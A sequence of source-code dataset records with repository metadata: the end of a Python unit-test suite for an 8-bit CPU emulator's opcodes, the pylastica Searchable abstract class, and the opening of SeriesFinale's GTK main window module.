self.SetUp() self.cpu.setFlags(['zero', 'sub', 'halfcarry']) oldFlags = self.cpu['f'] self.cpu.i_SCF(self.cpu) self.flags_test({'carry':1, 'sub':0, 'halfcarry':0, 'zero':1}, oldFlags) self.cpu.resetFlags(['zero']) self.cpu.setFlags(['sub', 'halfcarry']) oldFlags = self.cpu['f'] self.cpu.i_SCF(self.cpu) self.flags_test({'carry':1, 'sub':0, 'halfcarry':0, 'zero':0}, oldFlags) def test_i_JR_C_n(self): self.SetUp() self.RelJumpTest(self.cpu.i_JR_C_n, "carry") def test_i_ADD_HL_SP(self): self.SetUp() self.ADD_XX_XX_test(self.cpu.i_ADD_HL_SP, 'hl', 'sp') def test_i_LDD_A_HL(self): self.SetUp() self.LDD_X_XX_test(self.cpu.i_LDD_A__HL_, 'a', 'hl') def test_i_DEC_SP(self): self.SetUp() self.DecTest(self.cpu.i_DEC_SP, 'sp') def test_i_INC_A(self): self.SetUp() self.IncTest(self.cpu.i_INC_A, 'a') def test_i_DEC_A(self): self.SetUp() self.DecTest(self.cpu.i_DEC_A, 'a') def test_i_LD_A_n(self): self.SetUp() self.LD_X_n_test(self.cpu.i_LD_A_n, 'a') def test_i_CCF(self): self.SetUp() self.cpu.setFlags(['sub', 'halfcarry', 'zero']) oldFlags = self.cpu['f'] self.cpu.i_CCF(self.cpu) self.flags_test({'carry':1, 'sub':0, 'halfcarry':0, 'zero':1}, oldFlags) self.cpu.resetFlags(['zero']) self.cpu.setFlags(['sub', 'halfcarry']) oldFlags = self.cpu['f'] self.cpu.i_CCF(self.cpu) self.flags_test({'carry':0, 'sub':0, 'halfcarry':0, 'zero':0}, oldFlags) def test_i_LD_B_B(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_B_B, 'b', 'b') def test_i_LD_B_C(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_B_C, 'b', 'c') def test_i_LD_B_D(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_B_D, 'b', 'd') def test_i_LD_B_E(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_B_E, 'b', 'e') def test_i_LD_B_H(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_B_H, 'b', 'h') def test_i_LD_B_L(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_B_L, 'b', 'l') def test_i_LD_B_HL_mem(self): self.SetUp() self.LD_X_XX_mem_test(self.cpu.i_LD_B__HL_, 'b', 'hl') def test_i_LD_B_A(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_B_A, 'b', 'a') def test_i_LD_C_B(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_C_B, 'c', 'b') def test_i_LD_C_C(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_C_C, 'c', 'c') def test_i_LD_C_D(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_C_D, 'c', 'd') def test_i_LD_C_E(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_C_E, 'c', 'e') def test_i_LD_C_H(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_C_H, 'c', 'h') def test_i_LD_C_L(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_C_L, 'c', 'l') def test_i_LD_C_HL_mem(self): self.SetUp() self.LD_X_XX_mem_test(self.cpu.i_LD_C__HL_, 'c', 'hl') def test_i_LD_C_A(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_C_A, 'c', 'a') def test_i_LD_D_B(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_D_B, 'd', 'b') def test_i_LD_D_C(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_D_C, 'd', 'c') def test_i_LD_D_D(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_D_D, 'd', 'd') def test_i_LD_D_E(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_D_E, 'd', 'e') def test_i_LD_D_H(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_D_H, 'd', 'h') def test_i_LD_D_L(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_D_L, 'd', 'l') def test_i_LD_D_HL_mem(self): self.SetUp() self.LD_X_XX_mem_test(self.cpu.i_LD_D__HL_, 'd', 'hl') def test_i_LD_D_A(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_D_A, 'd', 'a') def test_i_LD_E_B(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_E_B, 'e', 'b') def test_i_LD_E_C(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_E_C, 'e', 'c') def test_i_LD_E_D(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_E_D, 'e', 'd') def test_i_LD_E_E(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_E_E, 'e', 'e') def test_i_LD_E_H(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_E_H, 'e', 'h') def test_i_LD_E_L(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_E_L, 'e', 'l') def test_i_LD_E_HL_mem(self): self.SetUp() self.LD_X_XX_mem_test(self.cpu.i_LD_E__HL_, 'e', 'hl') def test_i_LD_E_A(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_E_A, 'e', 'a') def test_i_LD_H_B(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_H_B, 'h', 'b') def test_i_LD_H_C(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_H_C, 'h', 'c') def test_i_LD_H_D(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_H_D, 'h', 'd') def test_i_LD_H_E(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_H_E, 'h', 'e') def test_i_LD_H_H(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_H_H, 'h', 'h') def test_i_LD_H_L(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_H_L, 'h', 'l') def test_i_LD_H_HL_mem(self): self.SetUp() self.LD_X_XX_mem_test(self.cpu.i_LD_H__HL_, 'h', 'hl') def test_i_LD_H_A(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_H_A, 'h', 'a') def test_i_LD_L_B(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_L_B, 'l', 'b') def test_i_LD_L_C(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_L_C, 'l', 'c') def test_i_LD_L_D(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_L_D, 'l', 'd') def test_i_LD_L_E(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_L_E, 'l', 'e') def test_i_LD_L_H(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_L_H, 'l', 'h') def test_i_LD_L_L(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_L_L, 'l', 'l') def test_i_LD_L_HL_mem(self): self.SetUp() self.LD_X_XX_mem_test(self.cpu.i_LD_L__HL_, 'l', 'hl') def test_i_LD_L_A(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_L_A, 'l', 'a') def test_i_LD_HL_B(self): self.SetUp() self.LD_XX_X_test(self.cpu.i_LD__HL__B, 'hl', 'b') def test_i_LD_HL_C(self): self.SetUp() self.LD_XX_X_test(self.cpu.i_LD__HL__C, 'hl', 'c') def test_i_LD_HL_D(self): self.SetUp() self.LD_XX_X_test(self.cpu.i_LD__HL__D, 'hl', 'd') def test_i_LD_HL_E(self): self.SetUp() self.LD_XX_X_test(self.cpu.i_LD__HL__E, 'hl', 'e') def test_i_LD_HL_H(self): self.SetUp() self.LD_XX_X_test(self.cpu.i_LD__HL__H, 'hl', 'h') def test_i_LD_HL_L(self): self.SetUp() self.LD_XX_X_test(self.cpu.i_LD__HL__L, 'hl', 'l') def test_i_HALT(self): pass #TODO: test properly def test_i_LD_HL_A(self): self.SetUp() self.LD_XX_X_test(self.cpu.i_LD__HL__A, 'hl', 'a') def test_i_LD_A_B(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_A_B, 'a', 'b') def test_i_LD_A_C(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_A_C, 'a', 'c') def test_i_LD_A_D(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_A_D, 'a', 'd') def test_i_LD_A_E(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_A_E, 'a', 'e') def test_i_LD_A_H(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_A_H, 'a', 'h') def test_i_LD_A_L(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_A_L, 'a', 'l') def test_i_LD_A_HL_mem(self): self.SetUp() self.LD_X_XX_mem_test(self.cpu.i_LD_A__HL_, 'a', 'hl') def test_i_LD_A_A(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_A_A, 'a', 'a') def test_i_ADD_B(self): self.SetUp() self.ADD_X_X_test(self.cpu.i_ADD_A_B, 'a', 'b') def test_i_ADD_C(self): self.SetUp() self.ADD_X_X_test(self.cpu.i_ADD_A_C, 'a', 'c') def test_i_ADD_D(self): self.SetUp() self.ADD_X_X_test(self.cpu.i_ADD_A_D, 'a', 'd') def test_i_ADD_E(self): self.SetUp() self.ADD_X_X_test(self.cpu.i_ADD_A_E, 'a', 'e') def test_i_ADD_H(self): self.SetUp() self.ADD_X_X_test(self.cpu.i_ADD_A_H, 'a', 'h') def test_i_ADD_L(self): self.SetUp() self.ADD_X_X_test(self.cpu.i_ADD_A_L, 'a', 'l') def test_i_ADD_HL_mem(self): self.SetUp() self.ADD_X_XX_mem_test(self.cpu.i_ADD_A__HL_, 'a', 'hl') def test_i_ADD_A(self): self.SetUp() self.ADD_X_X_test(self.cpu.i_ADD_A_A, 'a', 'a') def test_i_ADC_B(self): self.SetUp() self.ADC_X_X_test(self.cpu.i_ADC_A_B, 'a', 'b') def test_i_ADC_C(self): self.SetUp() self.ADC_X_X_test(self.cpu.i_ADC_A_C, 'a', 'c') def test_i_ADC_D(self): self.SetUp() self.ADC_X_X_test(self.cpu.i_ADC_A_D, 'a', 'd') def test_i_ADC_E(self): self.SetUp() self.ADC_X_X_test(self.cpu.i_ADC_A_E, 'a', 'e') def test_i_ADC_H(self): self.SetUp() self.ADC_X_X_test(self.cpu.i_ADC_A_H, 'a', 'h') def test_i_ADC_L(self): self.SetUp() self.ADC_X_X_test(self.cpu.i_ADC_A_L, 'a', 'l') def test_i_ADC_HL_mem(self): self.SetUp() self.ADC_X_XX_mem_test(self.cpu.i_ADC_A__HL_, 'a', 'hl') def test_i_ADC_A(self): self.SetUp() self.ADC_X_X_test(self.cpu.i_ADC_A_A, 'a', 'a') def test_i_SUB_A_B(self): self.SetUp() self.SUB_X_X_test(self.cpu.i_SUB_A_B, 'a', 'b') def test_i_SUB_A_C(self): self.SetUp() self.SUB_X_X_test(self.cpu.i_SUB_A_C, 'a', 'c') def test_i_SUB_A_D(self): self.SetUp() self.SUB_X_X_test(self.cpu.i_SUB_A_D, 'a', 'd') def test_i_SUB_A_E(self): self.SetUp() self.SUB_X_X_test(self.cpu.i_SUB_A_E, 'a', 'e') def test_i_SUB_A_H(self): self.SetUp() self.SUB_X_X_test(self.cpu.i_SUB_A_H, 'a', 'h') def test_i_SUB_A_L(self): self.SetUp() self.SUB_X_X_test(self.cpu.i_SUB_A_L, 'a', 'l') def test_i_SUB_HL_mem(self): self.SetUp() self.SUB_X_XX_mem_test(self.cpu.i_SUB_A__HL_, 'a', 'hl') def test_i_SUB_A_A(self): self.SetUp() self.SUB_X_X_test(self.cpu.i_SUB_A_A, 'a', 'a') def test_i_SBC_B(self): self.SetUp() self.SBC_X_X_test(self.cpu.i_SBC_A_B, 'a', 'b') def test_i_SBC_C(self): self.SetUp() self.SBC_X_X_test(self.cpu.i_SBC_A_C, 'a', 'c') def test_i_SBC_D(self): self.SetUp() self.SBC_X_X_test(self.cpu.i_SBC_A_D, 'a', 'd') def test_i_SBC_E(self): self.SetUp() self.SBC_X_X_test(self.cpu.i_SBC_A_E, 'a', 'e') def test_i_SBC_H(self): self.SetUp() self.SBC_X_X_test(self.cpu.i_SBC_A_H, 'a', 'h') def test_i_SBC_L(self): self.SetUp() self.SBC_X_X_test(self.cpu.i_SBC_A_L, 'a', 'l') def test_i_SBC_HL_mem(self): self.SetUp() self.SBC_X_XX_mem_test(self.cpu.i_SBC_A__HL_, 'a', 'hl') def test_i_SBC_A(self): self.SetUp() self.SBC_X_X_test(self.cpu.i_SBC_A_A, 'a', 'a') def test_i_AND_B(self): self.SetUp() self.AND_X_X_test(self.cpu.i_AND_B, 'a', 'b') def test_i_AND_C(self): self.SetUp() self.AND_X_X_test(self.cpu.i_AND_C, 'a', 'c') def test_i_AND_D(self): self.SetUp() self.AND_X_X_test(self.cpu.i_AND_D, 'a', 'd') def test_i_AND_E(self): self.SetUp() self.AND_X_X_test(self.cpu.i_AND_E, 'a', 'e') def test_i_AND_H(self): self.SetUp() self.AND_X_X_test(self.cpu.i_AND_H, 'a', 'h') def test_i_AND_L(self): self.SetUp() self.AND_X_X_test(self.cpu.i_AND_L, 'a', 'l') def test_i_AND_HL_mem(self): self.SetUp() self.AND_X_XX_mem_test(self.cpu.i_AND__HL_, 'a', 'hl') def test_i_AND_A(self): self.SetUp() self.AND_X_X_test(self.cpu.i_AND_A, 'a', 'a') def test_i_XOR_B(self): self.SetUp() self.XOR_X_X_test(self.cpu.i_XOR_B, 'a', 'b') def test_i_XOR_C(self): self.SetUp() self.XOR_X_X_test(self.cpu.i_XOR_C, 'a', 'c') def test_i_XOR_D(self): self.SetUp() self.XOR_X_X_test(self.cpu.i_XOR_D, 'a', 'd') def test_i_XOR_E(self): self.SetUp() self.XOR_X_X_test(self.cpu.i_XOR_E, 'a', 'e') def test_i_XOR_H(self): self.SetUp() self.XOR_X_X_test(self.cpu.i_XOR_H, 'a', 'h') def test_i_XOR_L(self): self.SetUp() self.XOR_X_X_test(self.cpu.i_XOR_L, 'a', 'l') def test_i_XOR_HL_mem(self): self.SetUp() self.XOR_X_XX_mem_test(self.cpu.i_XOR__HL_, 'a', 'hl') def test_i_XOR_A(self): self.SetUp() self.XOR_X_X_test(self.cpu.i_XOR_A, 'a', 'a') def test_i_OR_B(self): self.SetUp() self.OR_X_X_test(self.cpu.i_OR_B, 'a', 'b') def test_i_OR_C(self): self.SetUp() self.OR_X_X_test(self.cpu.i_OR_C, 'a', 'c') def test_i_OR_D(self): self.SetUp() self.OR_X_X_test(self.cpu.i_OR_D, 'a', 'd') def test_i_OR_E(self): self.SetUp() self.OR_X_X_test(self.cpu.i_OR_E, 'a', 'e') def test_i_OR_H(self): self.SetUp() self.OR_X_X_test(self.cpu.i_OR_H, 'a', 'h') def test_i_OR_L(self): self.SetUp() self.OR_X_X_test(self.cpu.i_OR_L, 'a', 'l') def test_i_OR_HL_mem(self): self.SetUp() self.OR_X_XX_mem_test(self.cpu.i_OR__HL_, 'a', 'hl') def test_i_OR_A(self): self.SetUp() self.OR_X_X_test(self.cpu.i_OR_A, 'a', 'a') def test_i_CP_B(self): self.SetUp() self.CP_X_X_test(self.cpu.i_CP_B, 'a', 'b') def test_i_CP_C(self): self.SetUp() self.CP_X_X_test(self.cpu.i_CP_C, 'a', 'c') def test_i_CP_D(self): self.SetUp() self.CP_X_X_test(self.cpu.i_CP_D, 'a', 'd') def test_i_CP_E(self): self.SetUp() self.CP_X_X_test(self.cpu.i_CP_E, 'a', 'e') def test_i_CP_H(self): self.SetUp() self.CP_X_X_test(self.cpu.i_CP_H, 'a', 'h') def test_i_CP_L(self): self.SetUp() self.CP_X_X_test(self.cpu.i_CP_L, 'a', 'l') def test_i_CP_HL_mem(self): self.SetUp() self.CP_X_XX_mem_test(self.cpu.i_CP__HL_, 'a', 'hl') def test_i_CP_A(self): self.SetUp() self.CP_X_X_test(self.cpu.i_CP_A, 'a', 'a') def test_i_RET_NZ(self): self.SetUp() self.RET_test(self.cpu.i_RET_NZ, 'Nzero') def test_i_POP_BC(self): self.SetUp() self.POP_XX_test(self.cpu.i_POP_BC, 'bc') def test_i_JP_NZ_nn(self): self.SetUp() self.RelJumpTest(self.cpu.i_JP_NZ_nn, "Nzero", twobytes=1) def test_i_JP_nn(self): self.SetUp() self.RelJumpTest(self.cpu.i_JP_nn, ".", twobytes=1) def test_i_CALL_NZ_nn(self): self.SetUp() self.CALL_nn_test(self.cpu.i_CALL_NZ_nn, 'Nzero') def test_i_PUSH_BC(self): self.SetUp() self.PUSH_XX_test(self.cpu.i_PUSH_BC, 'bc') def test_i_ADD_A_n(self): self.SetUp() self.ADD_X_n_test(self.cpu.i_ADD_A_n, 'a') def test_i_RST_0(self): self.SetUp() self.RST_X_test(self.cpu.i_RST_0, '0') def test_i_RET_Z(self): self.SetUp() self.RET_test(self.cpu.i_RET_Z, 'zero') def test_i_RET(self): self.SetUp() self.RET_test(self.cpu.i_RET, '.') def test_i_JP_Z_nn(self): self.SetUp() self.RelJumpTest(self.cpu.i_JP_Z_nn, "zero", twobytes=1) #def test_i_Ext_ops(self): # self.SetUp() # self.assertEqual(self.cpu.extraOpcodeMode, 0) # self.cpu.i_Ext_ops(self.cpu) # self.assertEqual(self.cpu.extraOpcodeMode, 1) def test_i_CALL_Z_nn(self): self.SetUp() self.CALL_nn_test(self.cpu.i_CALL_Z_nn, 'zero') def test_i_CALL_nn(self): self.SetUp() self.CALL_nn_test(self.cpu.i_CALL_nn, ".") def test_i_ADC_A_n(self): self.SetUp() self.ADC_X_n_test(self.cpu.i_ADC_A_n, 'a') def test_i_RST_8(self): self.SetUp() self.RST_X_test(self.cpu.i_RST_8, '8') def test_i_RET_NC(self): self.SetUp() self.RET_test(self.cpu.i_RET_NC, "Ncarry") def test_i_POP_DE(self): self.SetUp() self.POP_XX_test(self.cpu.i_POP_DE, 'de') def test_i_JP_NC_nn(self): self.SetUp() self.RelJumpTest(self.cpu.i_JP_NC_nn, "Ncarry", twobytes=1) def test_i_XXd3(self): pass def test_i_CALL_NC_nn(self): self.SetUp() self.CALL_nn_test(self.cpu.i_CALL_NC_nn, "Ncarry") def test_i_PUSH_DE(self): self.SetUp() self.PUSH_XX_test(self.cpu.i_PUSH_DE, 'de') def test_i_SUB_A_n(self): self.SetUp() self.SUB_X_n_test(self.cpu.i_SUB_A_n, 'a') def test_i_RST_10(self): self.SetUp() self.RST_X_test(self.cpu.i_RST_10, '16') def test_i_RET_C(self): self.SetUp() self.RET_test(self.cpu.i_RET_C, "carry") def test_i_RETI(self): self.SetUp() self.RET_test(self.cpu.i_RETI, ".") self.assertEqual(self.cpu.cpu.ime, 1) def test_i_JP_C_nn(self): self.SetUp() self.RelJumpTest(self.cpu.i_JP_C_nn, 'carry', twobytes=1) def test_i_XXdb(self): pass def test_i_CALL_C_nn(self): self.SetUp() self.CALL_nn_test(self.cpu.i_CALL_C_nn, 'carry') def test_i_XXdd(self): pass def test_i_SBC_A_n(self): self.SetUp() self.SBC_X_n(self.cpu.i_SBC_A_n, 'a') def test_i_RST_18(self): self.SetUp() self.RST_X_test(self.cpu.i_RST_18, str(int(0x18))) def test_i_LDH_n_A(self): self.SetUp() immediate = 0x41 immediate2 = 0x40 self.cpu['a'] = immediate2 self.cpu[self.cpu['pc']+1] = immediate self.cpu.i_LDH__n__A(self.cpu) self.assertEqual(self.cpu.mmu.rb(0xff00 + immediate), immediate2) def test_i_POP_HL(self): self.SetUp() self.POP_XX_test(self.cpu.i_POP_HL, 'hl') def test_i_LDH_C_A(self): self.SetUp() immediate = 0x41 immediate2 = 0xab self.cpu['a'] = immediate2 self.cpu['c'] = immediate self.cpu.i_LDH__C__A(self.cpu) self.assertEqual(self.cpu.mmu.rb(0xff00 + immediate), immediate2) def test_i_XXe3(self): pass def test_i_XXe4(self): pass def test_i_PUSH_HL(self): self.SetUp() self.PUSH_XX_test(self.cpu.i_PUSH_HL, 'hl') def test_i_AND_n(self): self.SetUp() immediate = 0x13 immediate2 = 0xab self.cpu['a'] = immediate2 self.cpu[self.cpu['pc']+1] = immediate self.cpu.i_AND_n(self.cpu) self.assertEqual(self.cpu['a'], immediate2 & immediate) def test_i_RST_20(self): self.SetUp() self.RST_X_test(self.cpu.i_RST_20, str(int(0x20))) def test_i_ADD_SP_d(self): self.SetUp() self.ADD_X_n_test(self.cpu.i_ADD_SP_d, 'sp', signed=1) def test_i_JP__HL_(self): self.SetUp() address = 0x1337 self.cpu['hl'] = address self.cpu.i_JP__HL_(self.cpu) self.assertEqual(self.cpu['pc'], address) def test_i_LD_nn_A(self): self.SetUp() address = 0xface immediate = 0x13 self.cpu.mmu.ww(self.cpu['pc']+1, address) self.cpu['a'] = immediate self.cpu.i_LD__nn__A(self.cpu) self.assertEqual(self.cpu.mmu.rw(address), immediate) def test_i_XXeb(self): pass def test_i_XXec(self): pass def test_i_XXed(self): pass def test_i_XOR_n(self): self.SetUp() immediate = 0x13 immediate2 = 0xab self.cpu['a'] = immediate2 self.cpu[self.cpu['pc']+1] = immediate self.cpu.i_XOR_n(self.cpu) self.assertEqual(self.cpu['a'], immediate2 ^ immediate) def test_i_RST_28(self): self.SetUp() self.RST_X_test(self.cpu.i_RST_28, str(int(0x28))) def test_i_LDH_A_n(self): self.SetUp() immediate = 0x13 immediate2 = 0x37 address = 0xab self.cpu[self.cpu['pc']+1] = address self.cpu[address+0xff00] = immediate2 self.cpu.i_LDH_A__n_(self.cpu) self.assertEqual(self.cpu['a'], immediate2) def test_i_POP_AF(self): self.SetUp() self.POP_XX_test(self.cpu.i_POP_AF, 'af') def test_i_XXf2(self): pass def test_i_DI(self): self.SetUp() self.cpu.cpu.ime = 1 self.assertEquals(self.cpu.cpu.ime, 1) self.cpu.i_DI(self.cpu) self.assertEquals(self.cpu.cpu.ime, 0) def test_i_XXf4(self): pass def test_i_PUSH_AF(self): self.SetUp() self.PUSH_XX_test(self.cpu.i_PUSH_AF, 'af') def test_i_OR_n(self): self.SetUp() immediate = 0x13 immediate2 = 0xab self.cpu['a'] = immediate2 self.cpu[self.cpu['pc']+1] = immediate self.cpu.i_OR_n(self.cpu) self.assertEqual(self.cpu['a'], immediate2 | immediate) def test_i_RST_30(self): self.SetUp() self.RST_X_test(self.cpu.i_RST_30, str(int(0x30))) def test_i_LDHL_SP_d(self): self.SetUp() currentSp = 0x1337 immediate = 0x0a self.cpu['sp'] = currentSp self.cpu[self.cpu['pc']+1] = immediate self.cpu.i_LDHL_SP_d(self.cpu) self.assertEqual(self.cpu['hl'], immediate + currentSp) immediate = 0xba self.cpu['sp'] = currentSp self.cpu[self.cpu['pc']+1] = immediate self.cpu.i_LDHL_SP_d(self.cpu) self.assertEqual(self.cpu['hl'], currentSp - ((~immediate + 1) & 255)) def test_i_LD_SP_HL(self): self.SetUp() self.LD_X_X_test(self.cpu.i_LD_SP_HL, 'sp', 'hl') def test_i_LD_A_nn(self): self.SetUp() self.LD_X_nn_test(self.cpu.i_LD_A__nn_, 'a') def test_i_EI(self): self.SetUp() self.cpu.cpu.ime = 0 self.cpu.i_EI(self.cpu) self.assertEquals(self.cpu.cpu.ime, 1) def test_i_XXfc(self): pass def test_i_XXfd(self): pass def test_i_CP_n(self): self.SetUp() self.CP_n_test(self.cpu.i_CP_n) def test_i_RST_38(self): self.SetUp() self.RST_X_test(self.cpu.i_RST_38, str(int(0x38))) # secondary opcodes def test_i2_RLC_B(self): self.SetUp() self.RLC_X_test(self.cpu.i2_RLC_B, 'b') def test_i2_RLC_C(self): self.SetUp() self.RLC_X_test(self.cpu.i2_RLC_C, 'c') def test_i2_RLC_D(self): self.SetUp() self.RLC_X_test(self.cpu.i2_RLC_D, 'd') def test_i2_RLC_E(self): self.SetUp() self.RLC_X_test(self.cpu.i2_RLC_E, 'e') def test_i2_RLC_H(self): self.SetUp() self.RLC_X_test(self.cpu.i2_RLC_H, 'h') def test_i2_RLC_L(self): self.SetUp() self.RLC_X_test(self.cpu.i2_RLC_L, 'l') def test_i2_RLC_HL_mem(self): self.SetUp() self.RLC_XX_mem_test(self.cpu.i2_RLC__HL_, 'hl') def test_i2_RLC_A(self): self.SetUp() self.RLC_X_test(self.cpu.i2_RLC_A, 'a') def test_i2_RRC_B(self): self.SetUp() self.RRC_X_test(self.cpu.i2_RRC_B, 'b') def test_i2_RRC_C(self): self.SetUp() self.RRC_X_test(self.cpu.i2_RRC_C, 'c') def test_i2_RRC_D(self): self.SetUp() self.RRC_X_test(self.cpu.i2_RRC_D, 'd') def test_i2_RRC_E(self): self.SetUp() self.RRC_X_test(self.cpu.i2_RRC_E, 'e') def test_i2_RRC_H(self): self.SetUp() self.RRC_X_test(self.cpu.i2_RRC_H, 'h') def test_i2_RRC_L(self): self.SetUp() self.RRC_X_test(self.cpu.i2_RRC_L, 'l') def test_i2_RRC_HL_mem(self): self.SetUp() self.RRC_XX_mem_test(self.cpu.i2_RRC__HL_, 'hl') def test_i2_RRC_A(self): self.SetUp() self.RRC_X_test(self.cpu.i2_RRC_A, 'a') def test_i2_RL_B(self): self.SetUp() self.RL_X_test(self.cpu.i2_RL_B, 'b') def test_i2_RL_C(self): self.SetUp() self.RL_X_test(self.cpu.i2_RL_C, 'c') def test_i2_RL_D(self): self.SetUp() self.RL_X_test(self.cpu.i2_RL_D, 'd') def test_i2_RL_E(self): self.SetUp() self.RL_X_test(self.cpu.i2_RL_E, 'e') def test_i2_RL_H(self): self.SetUp() self.RL_X_test(self.cpu.i2_RL_H, 'h') def test_i2_RL_L(self): self.SetUp() self.RL_X_test(self.cpu.i2_RL_L, 'l') def test_i2_RL_HL_mem(self): self.SetUp() self.RL_XX_mem_test(self.cpu.i2_RL__HL_, 'hl') def test_i2_RL_A(self): self.SetUp() self.RL_X_test(self.cpu.i2_RL_A, 'a') def test_i2_RR_B(self): self.SetUp() self.RR_X_test(self.cpu.i2_RR_B, 'b') def test_i2_RR_C(self): self.SetUp() self.RR_X_test(self.cpu.i2_RR_C, 'c') def test_i2_RR_D(self): self.SetUp() self.RR_X_test(self.cpu.i2_RR_D, 'd') def test_i2_RR_E(self): self.SetUp() self.RR_X_test(self.cpu.i2_RR_E, 'e') def test_i2_RR_H(self): self.SetUp() self.RR_X_test(self.cpu.i2_RR_H, 'h') def test_i2_RR_L(self): self.SetUp() self.RR_X_test(self.cpu.i2_RR_L, 'l') def test_i2_RR_HL_mem(self): self.SetUp() self.RR_XX_mem_test(self.cpu.i2_RR__HL_, 'hl') def test_i2_RR_A(self): self.SetUp() self.RR_X_test(self.cpu.i2_RR_A, 'a') if __name__=="__main__": print "%d/256 primary opcodes tested" % len(filter(lambda x: x[0:7] == "test_i_",dir(TestCPU))) print "%d/256 secondary opcodes tested" % len(filter(lambda x: x[0:7] == "test_i2",dir(TestCPU))) unittest.main()
UTF-8
Python
false
false
2,013
19,653,770,346,640
80336c94aca58550ce9ede2393256d88063b721c
1b8d162160f5ab6d6a6b8940b8ab83b482abb409
/pylastica/searchable.py
ca237496f5df3e184eab2b06a9723e33e50df3da
[ "Apache-2.0" ]
permissive
jlinn/pylastica
https://github.com/jlinn/pylastica
f81e438a109dfe06adc7e9b70fdf794c5d01a53f
0fbf68ed3e17d665e3cdf1913444ebf1f72693dd
refs/heads/master
2020-05-19T14:07:38.794717
2014-07-23T23:43:00
2014-07-23T23:43:00
10,442,284
5
1
null
null
null
null
null
null
null
null
null
null
null
null
null
__author__ = 'Joe Linn' import abc class Searchable(object): __metaclass__ = abc.ABCMeta @abc.abstractmethod def search(self, query=None, options=None): """ Searches results for a query @param query: dict with all query data or a Query object @type query: str or dict or pylastica.query.Query @param options: @type options: dict @return: result set with all results @rtype: pylastica.resultset.ResultSet """ pass @abc.abstractmethod def count(self, query=None): """ Counts results for a query. If no query is set, a MatchAll query is used. @param query: dict with all query data or a Query object @type query: dict or pylastica.query.Query @return: number of docs matching the query @rtype: int """ pass @abc.abstractmethod def create_search(self, query=None, options=None): """ @param query: @type query: pylastica.query.Query @param options: @type options: dict @return: @rtype: pylastica.search.Search """ pass
UTF-8
Python
false
false
2,014
14,448,270,014,159
2fde40ed99b47db976360d0defd099d7ecd81ee5
95062836885d7a5475f891169619ff9fffb04c15
/src/SeriesFinale/gui.py
860fbe58ac9dc040c4e59bcff26646d4d4b80181
[ "GPL-2.0-only", "GPL-3.0-or-later", "GPL-3.0-only" ]
non_permissive
mickeprag/SeriesFinale
https://github.com/mickeprag/SeriesFinale
aecf318dab47307acf684ce749275b2ae342e534
002a12aa64510171c76ce31f05ee323c9b49c268
refs/heads/master
2021-01-15T19:13:47.431443
2012-04-15T17:49:51
2012-05-17T22:31:06
4,494,976
0
1
null
null
null
null
null
null
null
null
null
null
null
null
null
# -*- coding: utf-8 -*- ########################################################################### # SeriesFinale # Copyright (C) 2009 Joaquim Rocha <[email protected]> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. ########################################################################### import hildon import pygtk pygtk.require('2.0') import gtk import gobject import gettext import locale import pango import os import re import time from xml.sax import saxutils from series import SeriesManager, Show, Episode from lib import constants from lib.connectionmanager import ConnectionManager from lib.portrait import FremantleRotation from lib.util import get_color from settings import Settings from asyncworker import AsyncWorker, AsyncItem from enhancedtreeview import EnhancedTreeView _ = gettext.gettext gtk.gdk.threads_init() class MainWindow(hildon.StackableWindow): def __init__(self): super(MainWindow, self).__init__() # i18n languages = [] lc, encoding = locale.getdefaultlocale() if lc: languages = [lc] languages += constants.DEFAULT_LANGUAGES 